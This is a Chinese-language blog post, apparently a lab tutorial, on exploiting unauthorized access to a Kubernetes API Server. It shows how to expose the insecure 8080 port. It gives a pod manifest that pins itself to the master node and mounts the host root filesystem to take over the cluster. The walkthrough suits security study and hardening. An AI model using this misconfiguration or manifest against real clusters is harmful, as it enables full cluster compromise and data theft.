K8s攻击案例: API Server未授权访问

API Server 是集群的管理入口,任何资源请求或调用都是通过kube-apiserver提供的接口进行。默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。

8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。

6443端口,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。

(1)攻击场景

insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。

vi /etc/kubernetes/manifests/kube-apiserver.yaml

  - --insecure-port=8080
  - --insecure-bind-address=0.0.0.0

修改kube-apiserver.yaml文件:

无需启动,等待一会以后,8080服务自动起来了,通过浏览器可以访问8080端口返回API列表。

 

(2)攻击过程

未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。

 yaml文件内容:

复制代码
apiVersion: v1
kind: Pod
metadata:
  name: pod123
spec:
  nodeName: k8s-master
  containers:
  - image: nginx:1.20
    name: pod123
    volumeMounts:
    - mountPath: /data
      name: data
  volumes:
  - name: data
    hostPath:
      path: /
复制代码

 

posted @   Bypass  阅读(791)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
历史上的今天:
2019-01-02 迟来的2018年终总结
点击右上角即可分享
微信分享提示